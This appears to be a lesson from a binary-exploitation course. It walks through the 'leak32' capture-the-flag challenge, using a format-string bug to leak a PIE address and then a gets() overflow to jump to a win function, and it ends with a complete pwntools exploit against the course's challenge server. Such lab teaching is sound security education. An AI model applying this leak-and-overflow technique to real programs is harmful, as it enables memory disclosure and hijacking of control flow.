leak32

Using a format string to leak an address.

3KB
leak32.zip
archive

In this case, we won't be provided a leak. Instead, we must combine how we used format strings and find our own leak. Solving this challenge will be remarkably similar to how we solve canary challenges, so be sure you're confident in Sections 0x3 and 0x4 before moving on.

Static Analysis

PIE is indeed enabled, and there is no canary:

$ checksec ./leak32
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/06-pie/leak32/src/leak32'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

We'll move straight to the read_in function. You can verify that main and win haven't changed. This code is actually the same as one of the canary challenges, replacing the canary with PIE. We'll see that it doesn't change our exploit that much.

Here is the source code for read_in. This was collected straight from gdb, so please ensure you're confident doing this.

void read_in()
{
    puts("What's your name?");
    gets(ebp-0x30);
    
    printf("Nice to meet you ");
    printf(ebp-0x30);
    putchar(0xa);   // newline
    
    printf("What's your message?");
    gets(ebp-0x30);
    
    return;
}

We'll use a format string against the first input. Let's test what happens when we do that to see what addresses get printed. In this case, because we are looking for addresses, we use %p instead of %x:

$ ./leak32
What's your name?
%p %p %p %p %p %p %p %p
Nice to meet you (nil) 0x1000000 0x566301f9 0xf7ee2540 (nil) 0x25207025 0x70252070 0x20702520
What's your message?

The only item here that looks like an address is 0x566301f9. 0xf7ee2540 a far away instruction or a stack address, so it's not as helpful. We'll check both just to be sure our intuition is correct.

When using breakpoints on a binary with PIE enabled, they must be an offset from a known function. Addressing based on what you see in disas read_in won't work. Use something like disas *(read_in+8).

Also, we can't check those specific addresses because PIE is enabled. We need to check the addresses shown on each specific run. To do this, put a breakpoint at the vulnerable printf call and check the stack.

gef➤  x/10wx $esp
0xffffd580:	0xffffd598	0x00000000	0x01000000	0x565561f9
0xffffd590:	0xf7fc4540	0x00000000	0x25207025	0x70252070
0xffffd5a0:	0x20702520	0x25207025

The first address is the address of the format string. We start counting from the second item (which reads (nil) in the standard output). We want the third and fourth options, which also have the same high bytes.

gef➤  x/wx 0x565561f9
0x565561f9 <read_in+12>:	0x2dc7c381
gef➤  x/wx 0xf7fc4540
0xf7fc4540 <__kernel_vsyscall>:	0x89555251

Aha! The third value resolves to read_in + 12, which happens to be the base pointer for read_in. The fourth value resolves to __kernel_vsyscall, which is a function in the kernel. The first one is more useful, so we use that.

Exploitation

We'll use a very similar exploit to the previous binary, just accounting for how we will receive the leak.

We'll start by establishing the binary and process:

elf = context.binary = ELF('./leak32')
p = remote('vunrotc.cole-ellis.com', 7200)

Then, we need to receive the leak. We'll receive the third format string parameter, which we know is at read_in + 12. From there, we'll compute elf.address:

p.sendline(b'%3$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.read_in + 12)

Now, we can build the payload. It's a simple ret2win from here!

payload = b'A' * 0x34
payload += p32(elf.sym.win)

Finally, we send the payload.

p.recvuntil(b'message?')
p.sendline(payload)
p.interactive()

This gets us the flag! Here is the full exploit:

exploit.py
from pwn import *

elf = context.binary = ELF('./leak32')
p = remote('vunrotc.cole-ellis.com', 7200)

p.recvline()

p.sendline(b'%3$p')
p.recvuntil(b'Nice to meet you ')
leak = int(p.recvline().strip(), 16)
elf.address = leak - (elf.sym.read_in + 12)

payload = b'A' * 0x34
payload += p32(elf.sym.win)

p.recvuntil(b'message?')
p.sendline(payload)
p.interactive()

Last updated